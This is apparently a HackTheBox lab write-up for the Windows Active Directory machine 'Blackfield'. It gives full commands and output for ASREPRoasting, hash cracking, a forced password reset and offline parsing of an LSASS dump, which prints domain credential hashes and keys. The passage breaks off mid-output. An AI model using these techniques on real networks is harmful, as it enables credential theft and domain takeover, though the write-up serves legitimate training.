> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/blackfield.md). # BlackField ASREPRoast support→crack hash→BloodHound reveals ForceChangePassword → reset Audit2020→access forensic share→ parse LSASS dump for svc\_backup→ abuse SeBackupPrivilege to dump NTDS→pwn Administrator.
**Difficulty:** Hard **OS:** Windows **Category:** Active Directory **Tags:** `kerberos` `asreproasting` `bloodhound` `lsass` `sebackupprivilege` `ntds` `pass-the-hash` *** ### Overview BLACKFIELD is a Hard-rated Windows Active Directory machine on HackTheBox. The attack path follows a realistic AD compromise chain: 1. **ASREPRoasting** a user with pre-auth disabled (`support`) 2. Cracking the hash to gain initial credentials 3. Using **BloodHound** to discover an `ForceChangePassword` edge from `support` → `Audit2020` 4. Resetting `Audit2020`'s password and accessing a forensic SMB share 5. Downloading an **LSASS minidump** and extracting `svc_backup`'s NT hash 6. Logging in via **Evil-WinRM** using Pass-the-Hash 7. Abusing **SeBackupPrivilege** with DiskShadow + robocopy to dump `ntds.dit` 8. Extracting all domain hashes with `impacket-secretsdump` for full domain compromise *** ### Reconnaissance #### Port Scan ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.229.17 -sCV PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-20 18:16:58Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: 6h59m59s | smb2-time: | date: 2026-03-20T18:17:24 |_ start_date: N/A ``` Key observations: * Domain name: **BLACKFIELD.local**, DC hostname: **DC01** * WinRM (5985) is open — useful for remote management if we get creds * SMB signing is **enabled and required** — rules out relay attacks * 7-hour clock skew noted; Kerberos operations will require time sync *** ### Initial Foothold #### ASREPRoasting With a user list in hand, we check for accounts that have **Kerberos pre-authentication disabled** (the `DONT_REQUIRE_PREAUTH` flag). These accounts leak an AS-REP encrypted with their password hash, which can be cracked offline. ```bash ┌──(kali㉿kali)-[~/Downloads] └─$ impacket-GetNPUsers BLACKFIELD.local/ -usersfile ../users.txt -dc-ip 10.129.229.17 -no-pass ...SNIP... $krb5asrep$23$support@BLACKFIELD.LOCAL:fc053429ff4a2de9c3e73148c57750d3$34f78cd7c38a91e99800f131d4d2c762d2303a879101ffa6ebe3f1f335776b013fa1a841754943d47a958927031a2b50801e01b9769bd87b2f524af4986e92ed1a2d2fa9ce1962644813517a90417d8296cc59081e9ff8c765515c9e06e4d78602002dc60d8c3064721c225b0eff4579a27f7c6d1d453da751ae09558ce8897afe79b7f85c80734cbf036959150beac598b243afc920ab9de7ddf141945d96cc12cae636027d1a4b6d8215b1e221ec656b7517091814a7884723bd0c29880f75c8850c8185756e70f98bd1663d8c29289cc7b631609f5b049bef89d32dcaf06eb0cd8dd81dc9ce9fdf91ead6723ab187390ed8da ...SNIP... ``` The `support` account returned a crackable AS-REP hash: #### Hash Cracking ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ john supporthash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status #00^BlackKnight ($krb5asrep$23$support@BLACKFIELD.LOCAL) 1g 0:00:00:09 DONE (2026-03-20 07:49) 0.1051g/s 1507Kp/s 1507Kc/s 1507KC/s #1WIF3Y..#*burberry#*1990 Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` **Credentials recovered:** | Account | Password | | --------- | ----------------- | | `support` | `#00^BlackKnight` | *** ### Enumeration as `support` #### Clock Sync (Required for Kerberos) Kerberos has a strict 5-minute clock skew tolerance. We sync our clock to the DC before running Kerberos-based tools: ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ net time -S 10.129.229.17 Fri Mar 20 15:02:06 2026 ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ sudo date -s "2026-03-20 15:02:06" Fri Mar 20 03:02:06 PM EDT 2026 ``` #### BloodHound Collection We use `bloodhound-python` to collect all AD objects and relationships: ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ bloodhound-python \ -u support \ -p '#00^BlackKnight' \ -d BLACKFIELD.local \ -dc dc01.blackfield.local \ -c all \ -ns 10.129.229.17 INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: blackfield.local INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.blackfield.local INFO: Testing resolved hostname connectivity dead:beef::886d:1688:d38e:25bc INFO: Trying LDAP connection to dead:beef::886d:1688:d38e:25bc INFO: Testing resolved hostname connectivity dead:beef::119 INFO: Trying LDAP connection to dead:beef::119 INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 18 computers INFO: Connecting to LDAP server: dc01.blackfield.local INFO: Testing resolved hostname connectivity dead:beef::886d:1688:d38e:25bc INFO: Trying LDAP connection to dead:beef::886d:1688:d38e:25bc INFO: Testing resolved hostname connectivity dead:beef::119 INFO: Trying LDAP connection to dead:beef::119 INFO: Found 316 users INFO: Found 52 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: DC01.BLACKFIELD.local INFO: Done in 01M 06S ``` BloodHound discovered: **316 users, 52 groups, 18 computers, 2 GPOs** #### Key Finding: ForceChangePassword Analyzing the graph in BloodHound reveals a critical edge: ``` support ──[ForceChangePassword]──► Audit2020 ``` The `support` account has the **ForceChangePassword** privilege over `Audit2020`, meaning we can reset that account's password without knowing the current one. *** ### Lateral Movement — `support` → `Audit2020` #### Password Reset via bloodyAD ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ bloodyAD --host dc01.blackfield.local -d BLACKFIELD.local -u support -p '#00^BlackKnight' set password Audit2020 Test123! [+] Password changed successfully! ``` Output: `[+] Password changed successfully!` #### SMB Share Enumeration ```bash ┌──(kali㉿kali)-[~/Documents/blackfield] └─$ nxc smb 10.129.229.17 -u Audit2020 -p 'Test123!' --shares SMB 10.129.229.17 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\Audit2020:Test123! SMB 10.129.229.17 445 DC01 [*] Enumerated shares SMB 10.129.229.17 445 DC01 Share Permissions Remark SMB 10.129.229.17 445 DC01 ----- ----------- ------ SMB 10.129.229.17 445 DC01 ADMIN$ Remote Admin SMB 10.129.229.17 445 DC01 C$ Default share SMB 10.129.229.17 445 DC01 forensic READ Forensic / Audit share. SMB 10.129.229.17 445 DC01 IPC$ READ Remote IPC SMB 10.129.229.17 445 DC01 NETLOGON READ Logon server share SMB 10.129.229.17 445 DC01 profiles$ READ SMB 10.129.229.17 445 DC01 SYSVOL READ Logon server share ``` `Audit2020` has **READ** access to a `forensic` share not accessible before: | Share | Permissions | Note | | ------------ | ----------- | ---------------------- | | ADMIN$ | — | Remote Admin | | C$ | — | Default share | | **forensic** | **READ** | Forensic / Audit share | | IPC$ | READ | Remote IPC | | NETLOGON | READ | Logon server share | | profiles$ | READ | User profiles | | SYSVOL | READ | Logon server share | #### Downloading the LSASS Dump Inside `forensic/memory_analysis/` there is an `lsass.zip` — a memory dump of the LSASS process, typically captured for forensic purposes (but containing live credential material): ```bash ┌──(kali㉿kali)-[~/Documents/blackfield/memory_analysis] └─$ smbget smb://10.129.229.17/forensic/memory_analysis/lsass.zip -U Audit2020%Test123! Using domain: WORKGROUP, user: Audit2020 smb://10.129.229.17/forensic/memory_analysis/lsass.zip Downloaded 39.99MB in 237 seconds ``` *** ### Credential Extraction from LSASS #### Parsing with pypykatz [pypykatz](https://github.com/skelsec/pypykatz) is a Python implementation of Mimikatz that can parse LSASS minidumps offline: ```bash ┌──(kali㉿kali)-[~/Documents/blackfield/memory_analysis] └─$ pypykatz lsa minidump lsass.DMP INFO:pypykatz:Parsing file lsass.DMP FILE: ======== lsass.DMP ======= == LogonSession == authentication_id 406458 (633ba) session_id 2 username svc_backup domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T18:00:03.423728+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-1413 luid 406458 == MSV == Username: svc_backup Domain: BLACKFIELD LM: NA NT: 9658d1d1dcd9250115e2205d9f48400d SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000 == WDIGEST [633ba]== username svc_backup domainname BLACKFIELD password None password (hex) == Kerberos == Username: svc_backup Domain: BLACKFIELD.LOCAL AES128 Key: 9658d1d1dcd9250115e2205d9f48400d AES256 Key: 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 == WDIGEST [633ba]== username svc_backup domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 365835 (5950b) session_id 2 username UMFD-2 domainname Font Driver Host logon_server logon_time 2020-02-23T17:59:38.218491+00:00 sid S-1-5-96-0-2 luid 365835 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [5950b]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [5950b]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 365493 (593b5) session_id 2 username UMFD-2 domainname Font Driver Host logon_server logon_time 2020-02-23T17:59:38.200147+00:00 sid S-1-5-96-0-2 luid 365493 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [593b5]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [593b5]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 257142 (3ec76) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:59:13.318909+00:00 sid S-1-5-18 luid 257142 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 153705 (25869) session_id 1 username Administrator domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T17:59:04.506080+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-500 luid 153705 == MSV == Username: Administrator Domain: BLACKFIELD LM: NA NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368 DPAPI: 240339f898b6ac4ce3f34702e4a8955000000000 == WDIGEST [25869]== username Administrator domainname BLACKFIELD password None password (hex) == Kerberos == Username: Administrator Domain: BLACKFIELD.LOCAL AES128 Key: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 AES256 Key: ec841e1e29ad7d6332a243b6b4ab445839829244408269850ab7c78a2cf45615 == WDIGEST [25869]== username Administrator domainname BLACKFIELD password None password (hex) == DPAPI [25869]== luid 153705 key_guid d1f69692-cfdc-4a80-959e-bab79c9c327e masterkey 769c45bf7ceb3c0e28fb78f2e355f7072873930b3c1d3aef0e04ecbb3eaf16aa946e553007259bf307eb740f222decadd996ed660ffe648b0440d84cd97bf5a5 sha1_masterkey d04452f8459a46460939ced67b971bcf27cb2fb9 == LogonSession == authentication_id 137110 (21796) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:58:27.068590+00:00 sid S-1-5-18 luid 137110 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 134695 (20e27) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:58:26.678019+00:00 sid S-1-5-18 luid 134695 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 40310 (9d76) session_id 1 username DWM-1 domainname Window Manager logon_server logon_time 2020-02-23T17:57:46.897202+00:00 sid S-1-5-90-0-1 luid 40310 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [9d76]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [9d76]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 40232 (9d28) session_id 1 username DWM-1 domainname Window Manager logon_server logon_time 2020-02-23T17:57:46.897202+00:00 sid S-1-5-90-0-1 luid 40232 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [9d28]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [9d28]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 996 (3e4) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:57:46.725846+00:00 sid S-1-5-20 luid 996 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [3e4]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: dc01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: ae7032a985fe7303c182f82d15df15b1ccf731c7f33947e3bd2f193d12d9d684 == WDIGEST [3e4]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 24410 (5f5a) session_id 1 username UMFD-1 domainname Font Driver Host logon_server logon_time 2020-02-23T17:57:46.569111+00:00 sid S-1-5-96-0-1 luid 24410 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [5f5a]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [5f5a]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 406499 (633e3) session_id 2 username svc_backup domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T18:00:03.423728+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-1413 luid 406499 == MSV == Username: svc_backup Domain: BLACKFIELD LM: NA NT: 9658d1d1dcd9250115e2205d9f48400d SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000 == WDIGEST [633e3]== username svc_backup domainname BLACKFIELD password None password (hex) == Kerberos == Username: svc_backup Domain: BLACKFIELD.LOCAL AES128 Key: 9658d1d1dcd9250115e2205d9f48400d AES256 Key: 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 == WDIGEST [633e3]== username svc_backup domainname BLACKFIELD password None password (hex) == DPAPI [633e3]== luid 406499 key_guid 836e8326-d136-4b9f-94c7-3353c4e45770 masterkey 0ab34d5f8cb6ae5ec44a4cb49ff60c8afdf0b465deb9436eebc2fcb1999d5841496c3ffe892b0a6fed6742b1e13a5aab322b6ea50effab71514f3dbeac025bdf sha1_masterkey 6efc8aa0abb1f2c19e101fbd9bebfb0979c4a991 == LogonSession == authentication_id 366665 (59849) session_id 2 username DWM-2 domainname Window Manager logon_server logon_time 2020-02-23T17:59:38.293877+00:00 sid S-1-5-90-0-2 luid 366665 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [59849]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [59849]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 366649 (59839) session_id 2 username DWM-2 domainname Window Manager logon_server logon_time 2020-02-23T17:59:38.293877+00:00 sid S-1-5-90-0-2 luid 366649 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [59839]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [59839]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 256940 (3ebac) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:59:13.068835+00:00 sid S-1-5-18 luid 256940 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 136764 (2163c) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:58:27.052945+00:00 sid S-1-5-18 luid 136764 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 134935 (20f17) session_id 0 username DC01$ domainname BLACKFIELD logon_server logon_time 2020-02-23T17:58:26.834285+00:00 sid S-1-5-18 luid 134935 == Kerberos == Username: DC01$ Domain: BLACKFIELD.LOCAL == LogonSession == authentication_id 997 (3e5) session_id 0 username LOCAL SERVICE domainname NT AUTHORITY logon_server logon_time 2020-02-23T17:57:47.162285+00:00 sid S-1-5-19 luid 997 == Kerberos == Username: Domain: == LogonSession == authentication_id 24405 (5f55) session_id 0 username UMFD-0 domainname Font Driver Host logon_server logon_time 2020-02-23T17:57:46.569111+00:00 sid S-1-5-96-0-0 luid 24405 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [5f55]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [5f55]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 24294 (5ee6) session_id 0 username UMFD-0 domainname Font Driver Host logon_server logon_time 2020-02-23T17:57:46.554117+00:00 sid S-1-5-96-0-0 luid 24294 == MSV == Username: DC01$ Domain: BLACKFIELD LM: NA NT: b624dc83a27cc29da11d9bf25efea796 SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d DPAPI: 0000000000000000000000000000000000000000 == WDIGEST [5ee6]== username DC01$ domainname BLACKFIELD password None password (hex) == Kerberos == Username: DC01$ Domain: BLACKFIELD.local Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d0048003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 AES128 Key: b624dc83a27cc29da11d9bf25efea796 AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 == WDIGEST [5ee6]== username DC01$ domainname BLACKFIELD password None password (hex) == LogonSession == authentication_id 24282 (5eda) session_id 1 username UMFD-1 domainname Font Driver Host logon_server logon_time 